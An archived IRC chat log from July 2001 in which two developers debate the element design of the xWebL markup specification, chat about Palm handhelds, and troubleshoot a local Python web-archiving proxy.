2001-07-26.txt0100644000014300010000000005666007330127240012020 0ustar nobodydevel00:40:38 Hmm, that's an interesting idea. 00:41:00 Feel free to start making some demands and send them to the list. 01:21:55 sbp has joined #swhack 01:22:10 New version: http://infomesh.net/2001/xWebL/spec/ 01:23:12 Lot of cut down stuff 01:23:40 I started on a list of requirements, but found out that it basically ended up as my draft! So I went and updated that instead 01:23:49 sbp has quit 04:25:15 AaronSw has quit 04:25:58 AaronSw has joined #swhack 13:07:04 sbp has joined #swhack 13:08:03 sbp has quit 13:58:42 sbp has joined #swhack 14:00:59 I've taken the XML Schema out 14:01:11 Usual URI: http://infomesh.net/2001/xWebL/spec/ 14:01:25 sbp has quit 14:09:12 sbp has joined #swhack 14:41:52 Hello 14:42:16 Hi there! 14:42:26 Did you see the new concise xWebL specification? 14:43:20 Just about to... 14:44:06 Hmm, down to 17 screenfuls... an improvement I suppose 14:44:29 Now move out all the non-core tags. ;-) 14:45:32 non-core? Well, they can go in an appendix. But they're useful 14:46:30 Well they should really go into a vocab spec or something. 14:46:54 Good idea 15:15:30 Most of these things come from my spec dissection... 15:15:57 http://sw.blogspace.com/archives/xweb-dev/20010708053052.VZGL24228.femail18.sdc1.sfba.home.com@localhost 15:17:01 Yep, I remember 15:18:05 So clean up your content model. 15:21:35 > [has i18n attrs] 15:21:39 What's that mean? 15:22:17 Wait a sec... I thought you were going to make demands on my spec... 15:24:23 Yes, I was. But I decided that if I made those demands and you changed them, it would just end up as my spec., so I thought I'd just clean mine up 15:24:51 [has i18n attrs] is a hack because I don't have a clue how to do attribute groups in your notation or attach them to elements 15:24:51 Well, I'm not so sure. Let's play it out. 15:25:32 You define the attributes, but whatever... 15:25:44 Let's work on my spec, because it's shorter. 15:26:26 Shorter != Better 15:26:33 and it's only a little shorter now 15:26:46 Yeah, yours is only 3 times as long instead of 8 15:27:25 I never said shorter was better, but it does provide focus. 15:30:44 So what do you say? 15:30:54 I look at it as leaving out important information 15:31:17 Well then you tell me everything that is so important and I'll add it in. 15:31:28 That way only the really important stuff gets through. 15:32:25 I think that's a bad way to do it: we have to look at it from not recording what we know, but what other people want to know 15:32:40 s/we know/we want 15:32:53 Huh? 15:33:19 I couldn't go to your specification and use the language, I think I'd have too many questions. Similar even with my old long specification 15:33:28 People *always* have questions, no matter what you do 15:33:40 Right, which is why we should release it ass soon as possible. 15:33:50 I don't refute that 15:35:08 So instead of making up their questions, we can really see what they are. 15:36:30 So I don't see how that helps the argument one way or another. 15:36:43 People will probably have more questions about a longer spec. 15:37:37 Logically, longer spec. = more material = more questions answered 15:37:49 Err no. 15:37:59 More material which people have questions about. 15:38:45 Ugh 15:39:23 So instead of making up other folks questions... let's move this aside. 15:40:51 Well, I still think my version documents the language better 15:40:57 and it has a better content model 15:41:05 I don't see how you can refute either of those facts 15:42:19 Easily, my friend. 15:42:57 How am I documenting the language poorly? 15:43:06 And my content model is clearly superior. 15:43:16 Prove it 15:43:48 Prove yours is superior. 15:43:50 I didn 15:43:55 I didn't make the claim. 15:43:58 I asked first 15:44:11 * sbp pulls Aaron's hair :-) 15:44:27 Explain how I could demonstrate that a language was superior. 15:45:12 Dunno if you can. People will still argue that XHTML 1.0 is a good language. People can argue anything for as long as they want 15:45:27 Exactly. 15:45:32 So raise *specific* issues. 15:45:54 Oh man. How many weeks have we been doing that for? 15:45:58 Choice not echo 15:46:14 We solved that yesterday. 15:46:34 Did we? I still don't see how it's resolved in your draft: which needs serious updating 15:46:43 Why? 15:46:43 O.K., issues:- 15:46:54 I showed you it was possible to do both echoing and choosing in my spec. 15:47:10 1) Get rid of . 15:47:10 ie. change:- 15:47:11 doc ( meta? , sec* , stor? ) 15:47:11 into:- 15:47:11 doc ( meta, sec* ) 15:47:11 sbp has quit 15:47:30 sbp has joined #swhack 15:47:33 Excess Flood. 15:47:50 You get five lines. 15:47:59 He he he 15:48:23 1) Get rid of . 15:48:23 ie. change:- 15:48:23 doc ( meta? , sec* , stor? ) 15:48:23 into:- 15:48:23 doc ( meta, sec* ) 15:48:23 I'd be all to happy to get rid of stor. 15:48:23 or:- 15:48:23 doc ( meta?, sec* ) 15:48:23 [first one preferred] 15:48:24 2) Delete: @class ( QNAMES ) 15:48:27 3) Define the content model for (and has to meet some approval) 15:48:28 4) Get rid of . Really, it's just (note they have the same 15:48:32 content model, and (should) appear in the same places!) 15:48:32 5) Take on dl ( term, defn+ ). par => term, defn. This fits in fine 15:48:34 with what you currently have, just refines it a bit. 15:48:36 6) Allow lists inline. I don't care too much how you do it, as long as 15:48:38 it's not a hack. 15:48:40 7) @title ( PCDATA ) 15:48:45 This *must* be an element to allow for . Please make a set of 15:48:45 annotative elements, per 2.7 in XML GL, and allow them in all 15:48:54 elements. I suggest: , , <hd>, <abt>, <summary>, <desc>. 15:48:54 <sbp> <nav> is really extended from <annot> *and* <lst>... not sure what to 15:48:54 <sbp> do about that. It would work in XML Schema, but I'm not sure about 15:48:57 <sbp> your model. 15:48:57 <sbp> 8) @inline ( 'replace' | 'before' | 'after' | 'no' | DEFAULT: 15:48:57 <sbp> 'default' ) 15:49:00 <sbp> Ugh! Get rid of it. (I would say at least use XLink, but I think that 15:49:00 <sbp> CSS can do this). 15:49:06 <sbp> 9) Get rid if annotations (no way I can implement them). 15:49:07 <sbp> 10) <m> (media objects) should not be derived from <par>, but instead 15:49:08 <sbp> be primitive, and nest inside the <t> element, which is a derivation 15:49:11 <sbp> of <par> (er... although according to your typing rules, it would be 15:49:27 <sbp> an extension, which you don't allow. XML Schema does!). <m> is an 15:49:27 <sbp> empty element. <t> must *require* at least one annotative element, in 15:49:27 <sbp> any position. 15:49:27 <sbp> 11) href et al. cannot be on all elements. [er... and if they were, 15:49:27 <sbp> what's the point of "<l>" in your specification?] 15:49:27 <sbp> Well get rid of it then: how long ago did we have that discussion? 15:49:27 <AaronSw> Do you have a URI for this rant? 15:49:37 <sbp> Yeah, whatever the URI of these chatlogs are 15:49:58 <sbp> :-) 15:50:02 <AaronSw> Ok, then... 15:50:07 <AaronSw> * AaronSw gets rid of stor 15:52:59 <AaronSw> OK, done 15:53:34 <sbp> onto 2) - no classes, please 15:53:42 <AaronSw> done. 15:53:43 <sbp> 3) ... er, ah, what's the content model for <meta>??? 15:53:43 <sbp> How am I supposed to implement it if I don't even know what it is! 15:54:18 <AaronSw> Well, it's a fully extensible section. 15:54:18 <AaronSw> It can include any element, but no inline text. 15:54:25 <AaronSw> Like: 15:55:29 <AaronSw> <meta><foo />bar</meta> 15:55:29 <AaronSw> isn't valid 15:55:29 <AaronSw> <meta><foo>bar</foo></meta> 15:55:29 <AaronSw> is. 15:57:40 <sbp> Yuckity yuckity yuck yuck. Well at least I can still use the annot elements... 15:58:41 <sbp> oh that's right, you don't have any 15:58:41 <sbp> onto 4) 15:59:45 <AaronSw> What's wrong with defining meta like that? 15:59:45 <sbp> It allows anything? We may as well just say that xWebL = XMl for all that 15:59:45 <sbp> anyway, I'm finised with that 15:59:45 <sbp> <a> => <par> 16:00:15 <AaronSw> But then you'll have things like: 16:00:24 <AaronSw> <par>foo<par>blah</par></par> 16:00:24 <sbp> Yes? 16:00:24 <AaronSw> How are you supposed to interpret that? 16:00:24 <sbp> <span>blargh<span>blargh</span></span> 16:00:24 <sbp> or even:- 16:00:24 <sbp> <p><span>blargh<span>blargh</span></span></p> 16:00:24 <sbp> span should have been flow 16:02:26 <AaronSw> Well, you're the structure guy... 16:02:26 <AaronSw> But, I mean, it seems so weird... 16:02:39 <AaronSw> (It bothers me how you won't let me do structural things that make sense, but insist I do ones that don't...;-)) 16:03:13 <sbp> That's what happens when you use XHTML for too long... you go nuts 16:03:13 <AaronSw> Ok, done. 16:03:13 <sbp> cheers 16:03:13 <AaronSw> Should I get rid of <a>? 16:03:13 <sbp> yes 16:03:13 <sbp> substitute par 16:03:18 <sbp> 5) dl ( term, defn+ ). par => term, defn. easy one 16:03:18 <AaronSw> hold on... 16:03:18 <AaronSw> WHat does: 16:03:18 <AaronSw> <hd>foo<hd>foo<hd></></></> mean? 16:03:41 <sbp> illegal. annot => hd 16:04:05 <AaronSw> Huh?! 16:04:55 <AaronSw> * AaronSw undoes the change he just made... 16:04:55 <sbp> hd is an annotative element 16:04:55 <AaronSw> So? 16:04:55 <sbp> par !=> hd 16:04:57 <sbp> annot is a whole new substitution group 16:05:52 <AaronSw> And why do we need it? 16:05:52 <sbp> you can't annotate annotations. you can't describe a description, or title a title, or summarize a summary 16:05:52 <AaronSw> You can't? 16:05:54 <AaronSw> I do all the time. 16:05:54 <sbp> Well, I suppose technically you still can 16:05:54 <sbp> <hd><par><desc>ainepvainev</></></> 16:05:54 <sbp> and whatever 16:05:54 <sbp> refer to my content model... I'll paste it 16:05:54 <AaronSw> Your content model is insane. 16:06:05 <sbp> sec (sec|lst|grp|annot|par)* 16:06:05 <sbp> grp (annot|par)* 16:06:05 <sbp> annot (%inl;) 16:06:05 <sbp> par (%inl;) 16:06:05 <sbp> %inl; (#PCDATA|lst - %lists.simple|par)* 16:06:05 <AaronSw> ;-) 16:06:05 <sbp> it's simple, it's easy, it works 16:06:09 <AaronSw> Why is <lst> a top level element? 16:08:01 <sbp> er, why not? 16:08:01 <AaronSw> Because it's clearly a subclass of <grp>. 16:08:01 <sbp> Perhaps so, semantically. But not syntactically 16:08:04 <AaronSw> Oh you do that stupid inline list thing... 16:08:04 <sbp> Yeah 16:08:04 <AaronSw> So what's an <annot>, syntactically. 16:08:04 <AaronSw> ? 16:08:04 <sbp> See the definition above 16:08:04 <AaronSw> Right, it's a <par> 16:08:04 <AaronSw> Which is how I had it. 16:08:04 <sbp> It's not a par! It's totally different. It's an annotative element. Damnit, I don't know why I'm bothering anymore 16:08:11 <AaronSw> How is it different...? they have the same sytnax. 16:08:11 <sbp> Come on Aaron, a title or a description has distinct semantics. Read XML GL 16:08:24 <sbp> Semantically, they're different 16:08:24 <AaronSw> Aha! 16:08:24 <AaronSw> I have you trapped. 16:08:25 <AaronSw> You said before that semantics shouldn't screw with the syntax, as evidenced by lst! 16:08:25 <AaronSw> You contradict yourself. 16:08:29 <AaronSw> Which will it be, Mr. Palmer? 16:08:40 <AaronSw> Death by lst, or death by annot? 16:08:40 <sbp> Pardon me? That's a reverse case. Here we're splittng 16:08:40 <AaronSw> Huh? 16:08:52 <sbp> I don't see the problem. restate 16:09:02 <AaronSw> <lst> has the semantics of a <grp>, but it has special sytax. You decided the syntax takes prescedence over the semantics. 16:09:18 <sbp> No:- 16:09:19 <sbp> grp =sem=> lst; !=syn=> lst. par =!sem=> annot; =syn=> annot. 16:09:29 <sbp> s/=!/!= 16:10:09 <AaronSw> <annot> has the syntax of a <par> but different semantics, you decided that semantics take prescedence over syntax. 16:10:20 <sbp> Do, consult the little thing above 16:10:43 <AaronSw> So? 16:10:47 <sbp> list is semantically derived from grp, but that has no reflection on syntax. par is *not* semantically extended to annot, end of story 16:11:06 <AaronSw> I never said it was, but why do you give it special sytax? 16:11:16 <sbp> Why do I give what special syntax? 16:11:25 <AaronSw> <annot> 16:11:48 <sbp> What do you mean why? Because it's a different type of element from all the others, semantically 16:12:23 <sbp> * sbp wonders where the record got stuck 16:12:27 <AaronSw> So? You just said that semantics shouldn't screw with syntax. 16:12:56 <sbp> Yeah, so? 16:13:03 <sbp> s/shouldn't/shouldn't necessarily 16:13:32 <AaronSw> <sigh> 16:13:37 <AaronSw> </sigh> 16:13:40 <sbp> :-) 16:13:58 <sbp> Can we move onto 5)? As far as I'm concerned, this is non-negotiable, and closed 16:14:07 <AaronSw> Fine. 16:14:19 <sbp> 5) is quite a simple one 16:14:27 <sbp> Just a suggestion for a content model for dl 16:14:38 <sbp> fits in fine with everything you have in the specification at the moment 16:14:53 <sbp> dl ( term, defn+ ). par => term, defn. 16:15:11 <sbp> quite neat, I think 16:15:20 <AaronSw> Sorry, don't follow. 16:15:26 <AaronSw> What does that syntax mean? 16:16:04 <sbp> <dl><term>this is my term</term><defn>definition 1 of my term</defn><defn>defn 2 of my term</defn></dl> 16:16:17 <sbp> Plus it converts nicely to a <dl> in HTML 16:16:53 <sbp> Phew, it's getting hot in my room 16:17:13 <sbp> * sbp opens a window 16:17:20 <AaronSw> Hmm... 16:17:36 <AaronSw> See, I don't want to have to create a new top-level element.. I don't think we need to. 16:18:01 <sbp> Where's the new top level element? lst => dl. par => term, defn. 16:18:20 <AaronSw> Ok, I can do that. 16:18:41 <sbp> and dl (term,defn+)+ is totally legal using your model 16:18:53 <AaronSw> Yeah, but I can't require it. 16:19:22 <sbp> Why not? 16:19:53 <AaronSw> Because that would be changing the syntax of an element, making it a new element. 16:21:07 <sbp> O.K., so let me get this straight. you're creating a new language, but you won't create new elements that totally conform to your wacky new content model that only allows restrictions? 16:21:16 <sbp> why ever not? 16:21:38 <AaronSw> Well... 16:22:12 <AaronSw> If we do it, then we have to provide a hook inthe language for others to. 16:22:23 <sbp> Bugger, I have to go. I'm already about three times over my 'net quota for this week 16:22:44 <AaronSw> I'll go thru the rest. 16:22:45 <AaronSw> C'ya 16:22:48 <sbp> cheers 16:22:51 <sbp> c'ya! 16:25:51 <sbp> sbp has quit 17:07:37 <sbp> sbp has joined #swhack 17:17:29 <AaronSw> * AaronSw uploads xWeb-Aaron-4 17:30:30 <sbp> Cannot find server: http://logicerror.com/xWeb-Aaron 17:30:45 <AaronSw> I know... give me a second, the world is falling apart. 17:31:05 <sbp> Hold it back together with your bubble-gum! 17:32:42 <AaronSw> * AaronSw gives a deep sigh of relief. 17:32:56 <AaronSw> I must have run out of disk space or something. 17:33:54 <sbp> Eek 17:34:58 <AaronSw> Yeah, I know. 17:35:05 <AaronSw> It was my 300 MB log file. 17:37:52 <sbp> annot should be asbstract; all you need for annotative elements are <abt>, <nav> (er... that's lst and annot), hd, desc, and summary 17:38:13 <AaronSw> Huh? 17:38:21 <AaronSw> But <annot> is useful for other folks. 17:38:51 <sbp> What does it do? 17:39:00 <AaronSw> It annotates the section, 17:39:35 <sbp> Fair enough 17:39:44 <AaronSw> What's the difference between <desc> and <abt> and <summary>? 17:40:35 <sbp> desc is a description (this is a paragraph about sunflowers), abt is what it's about (a flower review of book x), and a summary is a summary (sunflowers are cool) 17:42:12 <AaronSw> I still don't see the difference between <desc> and <abt>, but feel free to write an extension mechanism and add them in. 17:42:26 <AaronSw> err s/extension mechanism/extension/ 17:46:19 <sbp> Write an extension mechanism? They should all be in the vocabulary section 17:46:41 <AaronSw> Vocabulary section? 17:48:01 <sbp> That you mentioned earlier 17:48:38 <AaronSw> Ok, fine. 17:49:22 <sbp> i.e. I don't want to gave to go defining whacking great lists of elements that I want to use whenever I create a new document. We should define them somewhere for easy use 17:49:56 <AaronSw> Ok, fine. That can be your job. 17:50:37 <sbp> MY job is writing my specification, and seeing that it gets through to completion (which is practically is, pending tiny errors) 17:51:20 <AaronSw> Oh, not this again. 17:51:27 <sbp> Basically, the situation is that I've pointed out a number of erros in your spec., but you can only point out feckingly small pedantic ones in mine. No contest really, and I'd rather not waste time on your version, i.e. changing it to ho wmine is, when we already have mine 17:51:46 <AaronSw> Pfft, that's a bunch of piffle and you know it. 17:51:57 <sbp> Of course it isn't 17:52:18 <AaronSw> Your spec is braindead. 17:52:22 <AaronSw> ;-) 17:52:25 <AaronSw> Politely. 17:52:44 <sbp> Coming from someone who has put href attributes on all of his elements, that's not much of an insult 17:52:56 <AaronSw> Is there a problem with doing that? 17:53:08 <sbp> Are you even using XLink? 17:53:20 <AaronSw> What does that have to do with anything? 17:53:22 <sbp> Not that it matters... an entire document of simple links? That's just stupid 17:53:28 <sbp> XLink is advised by XML GL 17:53:30 <AaronSw> Why? 17:53:36 <AaronSw> Err, why is it stupid? 17:53:41 <AaronSw> XML GL isn't even official yet. 17:53:44 <sbp> Because proprietary... oh, hang on 17:53:46 <AaronSw> Don't play those games with me. 17:53:50 <sbp> XLink is official 17:54:01 <sbp> Did you see Eve Maler's comments? 17:54:09 <AaronSw> About what? 17:54:12 <sbp> Games, what games? What are you talking about? 17:54:22 <sbp> XLink is a W3C recommendation; that's not even an issue 17:54:42 <AaronSw> OK, so I'll change the namespaces to XLink, that' seasy. 17:55:19 <sbp> Why do you need to link every single element? What's the point? 17:55:31 <AaronSw> You don't need to, but you should have the option. 17:55:31 <sbp> What does it mean? How do I convert it back to XHTML? 17:55:41 <AaronSw> The same way you convert anything else. 17:55:45 <sbp> Exactly: you *don't* need to 17:55:59 <AaronSw> Ok, well you *don't* need xWebL, i don't see your point. 17:56:05 <AaronSw> You don't need anything, for goodness sake! 17:56:17 <sbp> Ugh, philosophy... 17:56:50 <sbp> Anyway, I have to go 17:56:52 <sbp> c'ya 17:56:53 <sbp> sbp has quit 19:07:36 <sbp> sbp has joined #swhack 19:10:38 <sbp> Hello? 19:10:43 <AaronSw> Hello 19:10:47 <sbp> Hello! 19:10:58 <sbp> Ugh, someone's at the door... 19:11:08 <AaronSw> Say hello. ;-) 19:11:30 <sbp> She's says "hello Aaron" (it was my Aunt) 19:11:42 <AaronSw> Hello. 19:11:56 <sbp> She's in the kitchen chatting with my mother now :-) 19:12:08 <sbp> s/She's/She (two lines above) 19:12:52 <sbp> Anyhoo, just getting signed up with a new ISP... I'll be able to come online more if it works 19:12:59 <AaronSw> Really? Cool! 19:16:07 <sbp> If it works! 19:18:53 <sbp> O.K., I'd better go and set this up... 19:18:57 <sbp> sbp has quit 19:47:20 <sbp> sbp has joined #swhack 19:47:31 <AaronSw> Hello 19:47:38 <sbp> Hi 19:49:12 <sbp> Thanks for the xWebL comments: I should go and resolve some of them 19:50:35 <AaronSw> No prob 19:55:46 <sbp> * sbp looks up XML Base for the link roles 19:56:04 <sbp> Aha! Jonathan Marsh 19:58:50 <sbp> Aw crap, that's not going to work 19:59:20 <sbp> Shame you can't use xml:base for single attributes 19:59:45 <AaronSw> You can just define it in the spec, though. 20:00:00 <sbp> Yes, but it would have been nice to have used XML Base 20:00:09 <sbp> If it were possible 20:00:24 <sbp> Which I guess it would be, if we used extended links, but that is, of course, nuts 20:05:03 <sbp> BTW, you told me not to use xlink:title, to instead use elements 20:05:08 <sbp> You are, of course, correct 20:05:27 <sbp> But I found out a while ago that Unicode has codepoints that act like the Ruby elements 20:05:38 <sbp> Interesting, if true 20:05:39 <AaronSw> Codepoints? 20:05:48 <AaronSw> Like characters? 20:05:49 <sbp> Yeah, U+001 20:05:51 <sbp> Yes 20:05:58 <AaronSw> Odd... 20:08:45 <sbp> My mistake, I was thinking on BDO:- 20:08:51 <sbp> ‎ U+200E LEFT-TO-RIGHT MARK 20:08:52 <sbp> ‏ U+200F RIGHT-TO-LEFT MARK 20:08:52 <sbp> &lre; U+202A LEFT-TO-RIGHT EMBEDDING 20:08:52 <sbp> &rle; U+202B RIGHT-TO-LEFT EMBEDDING 20:08:52 <sbp> &pdf; U+202C POP DIRECTIONAL FORMATTING 20:08:53 <sbp> &lro; U+202D LEFT-TO-RIGHT OVERRIDE 20:08:54 <sbp> &rlo; U+202E RIGHT-TO-LEFT OVERRIDE 20:09:10 <sbp> We should, of course, support these in xWebL 20:09:20 <sbp> (if possible) 20:15:17 <sbp> Heh! There's even a paragraph separator 20:15:27 <sbp> * sbp suddenly wonders about the need for <p> 20:15:43 <sbp> &x2029; 20:19:47 <sbp> I wonder if &x202A; et al. are in HTMl 4.01? 20:47:17 <sbp> sbp has quit 20:51:48 <sbp> sbp has joined #swhack 21:44:51 <AaronSw> """Today we're taking on a whole new class of software problems, because of the Internet, because of its role as the most revolutionary communications device of all time. And it's fantastic that MIT, through Tim Berners-Lee, through the W3C and through many activities here, is taking a very important leadership role. """ - Bill Gates, http://www.lcs.mit.edu/anniv/speakers/041399-1.adp 21:46:11 <sbp> sbp has quit 21:50:00 <sbp> sbp has joined #swhack 21:54:56 <AaronSw> Pat Hayes: "Brian assures me, for example, that unicorns are resources, but I never expect to get sent one in response to a request." 21:55:07 <sbp> Heh 21:55:21 <sbp> They're RDF resources then, according to Graham's Terminologicus 21:55:45 <AaronSw> They're Web Resources to, since Unicorns don't have hash marks. 21:55:54 <AaronSw> err s/to/too/ 21:56:13 <sbp> Heh 21:56:18 <sbp> Love the CWM testing stuff! 22:10:08 <sbp> sbp has quit 22:37:21 <AaronSw> AaronSw has quit 22:40:46 <AaronSw> AaronSw has joined #swhack 22:41:05 <AaronSw> Hmm, I guess WebDAV support isn't quite ready for prime time -- got my first Kernel Panic today on OS X. 23:03:36 <sbp> sbp has joined #swhack 23:07:10 <AaronSw> Hello. 23:07:20 <AaronSw> Replay: I guess WebDAV support isn't quite ready for prime time -- got my first Kernel Panic today on OS X. 23:09:31 <sbp> Kernal Panic? 23:10:45 <AaronSw> The UNIX equvalent of the BSOD. 23:12:09 <sbp> Ah, of course 23:12:15 <sbp> BSOD? 23:12:53 <AaronSw> Blue Screen Of Death 23:13:18 <AaronSw> Except a Kernel Panic is less painful. 23:16:15 <sbp> Reminds me of about:mozilla in IE 23:16:26 <sbp> Oh you have IE: try it 23:20:39 <AaronSw> It doesn't do anything. 23:21:44 <sbp> res://mshtml.dll/about.moz 23:21:53 <sbp> The blue screen, Mozilla style 23:22:13 <AaronSw> * AaronSw goes downstairs to try it on his Windows box... 23:23:52 <AaronSw> I don't get it. 23:24:00 <AaronSw> It's just a big blue screen. 23:24:06 <sbp> :-) 23:25:06 <sbp> Strange that when you type in about:mozilla on MSIE, it comes up with a blue screen, eh? 23:25:17 <AaronSw> Yeah, it is a bit odd. 23:56:29 <AaronSw> You can get a Visor for 199 or so 23:56:47 <AaronSw> err $199 that is 23:57:06 <AaronSw> give or take $100 23:57:44 <sbp> Do you have any references? Not that I'm lazy, just that I got so many results, and they were all useless 23:57:56 <sbp> Or search strings... 23:58:24 <AaronSw> There's one for $139 on UBid ��������������������������������������������������������������������������������2001-07-27.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000066532�07330376615�012034� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:02:34 <SeanP> SeanP has joined #swhack 00:02:57 <sbp> sbp has quit 00:03:30 <SeanP> SeanP is now known as sbp 00:54:41 <sbp> What was that Palm thing you mentioned again? 00:55:28 <AaronSw> The Handspring Visor. 00:55:40 <sbp> Odd name 00:55:48 <AaronSw> It's cool. 00:56:09 <AaronSw> Visor comes from the founder's small child's pronounciation of Advisor, as I recall. 00:56:33 <sbp> * sbp wonders where you got that factlet from 00:56:51 <sbp> Search on Google gives: http://www.coolpalmer.com/ 00:56:56 <sbp> Neat URL! 00:57:04 <AaronSw> :-) 00:57:35 <sbp> Hmm... Visor isn't made by Palm 00:58:07 <AaronSw> No, it's made by Handspring. 00:58:18 <AaronSw> It's just like a Palm but clear. ;-) 00:58:19 <sbp> Of course. http://www.techexplained.com/deciphered/34.php 00:59:10 <sbp> Cool 01:04:46 <sbp> sbp has quit 01:07:54 <sbp> sbp has joined #swhack 01:11:16 <AaronSw> "if the Internet Archive didn't exist, Gerald would invent it" -- Kynn, http://impressive.net/people/gerald/1999/01/http-archive/ 01:11:55 <sbp> Yeah, I've come across that quote a few times 01:12:06 <AaronSw> Do you have an original cite for it? 01:12:19 <sbp> That's it 01:15:57 <sbp> * sbp investigates the PalmV 01:16:34 <sbp> Nice and expensive 01:16:42 <AaronSw> yep 01:16:46 <sbp> onto the PalmIII :-) 01:17:14 <AaronSw> At this rate I might as well send you the original Palm Pilot we have lying around... ;-) 01:18:43 <sbp> IIIxe looks good 01:19:26 <sbp> * sbp wonders how they handle 01:20:43 <AaronSw> What do you need a Palm for, anyway? 01:21:48 <sbp> I don't 01:22:53 <sbp> You're right, the HV does look the best 01:35:03 <sbp> What kind of software can you get for it? 01:35:24 <AaronSw> For the Palm? 01:35:25 <AaronSw> All sorts. 01:35:47 <sbp> For the PalmOS, yeah 01:35:56 <AaronSw> Do some searches... there's everything. 01:36:01 <AaronSw> There's even Python for the Palm. 01:36:19 <AaronSw> cwm on your palm! ;-) 01:36:29 <sbp> Great! 01:36:41 <sbp> * sbp does some of the suggested surfing 01:39:36 <sbp> Heh, V-Rally for the Handspring 01:41:19 <sbp> * sbp can tell he'd need 8MB 01:41:39 <sbp> Hey, Pippy: http://www.endeavors.com/pippy/ 01:42:03 <sbp> Ugh, they're only up to 1.5.2 01:42:24 <sbp> an upgrade to Python 2.0 is "planned" 01:42:55 <sbp> What is the minimum requirement for CWM these days? 01:46:38 <AaronSw> In terms of what? 01:47:51 <sbp> Python version number 01:48:29 <AaronSw> Hmm, beats me. 01:51:10 <AaronSw> Wow, I'm really making progress with this archiver... 01:52:47 <sbp> Anything to show yet? 01:52:58 <AaronSw> Almost... 01:54:33 <sbp> Interesting: http://www.w3.org/2001/04/lrns 01:56:10 <sbp> Aha! Got an idea 01:56:52 <AaronSw> Python code to get the current W3CDTF time: time.strftime('%Y-%m-%dT%H:%M:%SZ',time.gmtime()) 01:57:14 <sbp> Many thanks to: http://www.w3.org/TR/xhtml-m12n-schema/ 01:57:33 <sbp> Interesting... how did I do it in earl.py? 01:57:48 <AaronSw> This is W3CDTF, right? 2001-07-27T01:57:30Z 01:58:09 <AaronSw> http://www.w3.org/2001/04/lrns is invalid 01:58:12 <AaronSw> err 404s 01:58:18 <sbp> That's the interesting bit :-) 01:58:29 <sbp> W3CDTF: I use ISO date format, as in XSD 01:58:36 <AaronSw> Why is it so interesting? 01:58:40 <sbp> timenow = time.time() 01:58:40 <sbp> timenow = time.gmtime(timenow) 01:58:40 <sbp> timenow = time.strftime('%Y-%m-%d %H:%M:%S', timenow) 01:58:40 <sbp> timenow = str(timenow) 01:58:51 <sbp> Hang on, I'm just sorting out the details 02:00:56 <sbp> Ugh, man that's terrible: the XHTMl XSD m12n schemata are full of text formatting instead of XML 02:01:08 <sbp> Those guys need a lesson in making well documented schemata 02:01:28 <sbp> Hmm... Daniel Austin. He's a pretty good guy really; I'm quite suprised 02:07:39 <sbp> sbp has quit 15:19:38 <sbp> sbp has joined #swhack 15:30:19 <sbp> sbp has quit 15:47:27 <sbp> sbp has joined #swhack 15:49:14 <AaronSw> Welcome back, Sean 15:49:25 <AaronSw> You're just in time for relase 0.2 of the archiver - Time Bandit 15:49:36 <sbp> Neat 15:49:53 <AaronSw> http://logicerror.com/archiverProxy-code 15:51:36 <AaronSw> now it sticks all the files in a directory sorted by time 15:51:38 <sbp> What does it do now? 15:51:42 <sbp> Oh, thanks :-) 15:51:45 <AaronSw> :-) 15:52:19 <AaronSw> I'm trying to think of the best way to store the files 15:53:02 <AaronSw> I'll probably go with: 15:53:07 <sbp> Hmm... if I can get it running on Win98, I'm gonna somehow put them on CD 15:53:28 <AaronSw> <archive>/http/logicerror.com/80/path/foo/bar/ 15:53:36 <AaronSw> Oh, it should definitely work on Win98... 15:54:36 <sbp> Neat, I think I'll start it up. What command line? 15:54:54 <AaronSw> first make an archive directory 15:55:07 <sbp> O.K. 15:55:10 <AaronSw> then do 15:55:14 <AaronSw> python Filename.py 15:55:19 <AaronSw> that's all 15:55:25 <sbp> Oh... wow, that's easy 15:55:30 <AaronSw> what version do you have? 15:55:40 <sbp> Of what? 15:55:48 <AaronSw> I just updated http://logicerror.com/archiverProxy-code so it should work on Windows -- i think it had a bug a second ago. 15:56:11 <sbp> O.K., I'll download it again 15:56:40 <sbp> Well, explorer's just crashed... 15:56:44 <AaronSw> Hmm... 15:56:46 <sbp> Ah, it's come back; phew 15:56:54 <sbp> (unrelated to the arcihver) 15:56:55 <AaronSw> Oh, and you have to set the proxy to 127.0.0.1:800 15:57:00 <AaronSw> err 8000 15:57:05 <AaronSw> 127.0.0.1:8000 15:57:11 <sbp> In the source code? Or what? 15:57:35 <AaronSw> In Internet Explorer. 15:57:52 <AaronSw> So it knows to go throught the proxy 15:58:04 <sbp> Ugh, O.K. 15:58:54 <sbp> * sbp sets up the proxy 15:59:02 <sbp> Why 8000? 15:59:36 <AaronSw> why not? 16:00:14 <sbp> :-) 16:00:17 <sbp> * sbp runs the file 16:00:27 <sbp> Bit to close to 80 for comfort? 16:01:03 <AaronSw> you can change it in the file 16:01:08 <sbp> It's either not working, or very slow 16:02:11 <AaronSw> Hmm... did you restart IE? 16:02:19 <sbp> No... 16:02:36 <sbp> * sbp restarts IE 16:03:27 <sbp> It's not working 16:03:53 <AaronSw> Hmm, what happened when you ran it? 16:04:52 <AaronSw> You can also open it up and set DEBUG_LEVEL to 2 and see what it says. 16:05:12 <sbp> THe program is running fine, but IE just isn't downloading pages 16:05:51 <AaronSw> Odd. 16:07:01 <AaronSw> What happens when you set the debug_level to 2? 16:07:07 <sbp> I'll try it 16:08:28 <sbp> Program runs, Google still won't load 16:08:38 <AaronSw> What does the program say? 16:09:10 <sbp> It doesn't say anything 16:09:50 <AaronSw> Really? 16:10:03 <AaronSw> And you changed the debug_level setting in the file? 16:10:32 <sbp> Yep 16:10:45 <sbp> I'll restart it 16:11:32 <sbp> As usual, it runs, giving no output, and IE won't load pages 16:12:34 <AaronSw> You actually changed the line, not add a new one, right? 16:12:36 <AaronSw> And you saved it? 16:12:42 <AaronSw> And you restarted the Python script? 16:12:53 <sbp> Yes, I just changed the "0" to "2", and restarted it 16:13:19 <sbp> DEBUG_LEVEL = 2 16:13:21 <sbp> ALLOW_DEBUG_ON_WIN32 = None 16:13:24 <AaronSw> Hmm... 16:13:26 <sbp> lol @ really full debugging, BTW 16:13:52 <AaronSw> Oh, you need to set ALLOW_DEBUG_ON_WIN32 to 1, sorry 16:14:10 <sbp> lol 16:14:15 <sbp> O.K., I'm doing it... 16:14:16 <AaronSw> :-) 16:14:24 <AaronSw> heh 16:14:33 <AaronSw> A sort of, duh! moment... 16:14:33 <sbp> Stopping external proxies: 16:14:49 <sbp> Could not connect to localhost 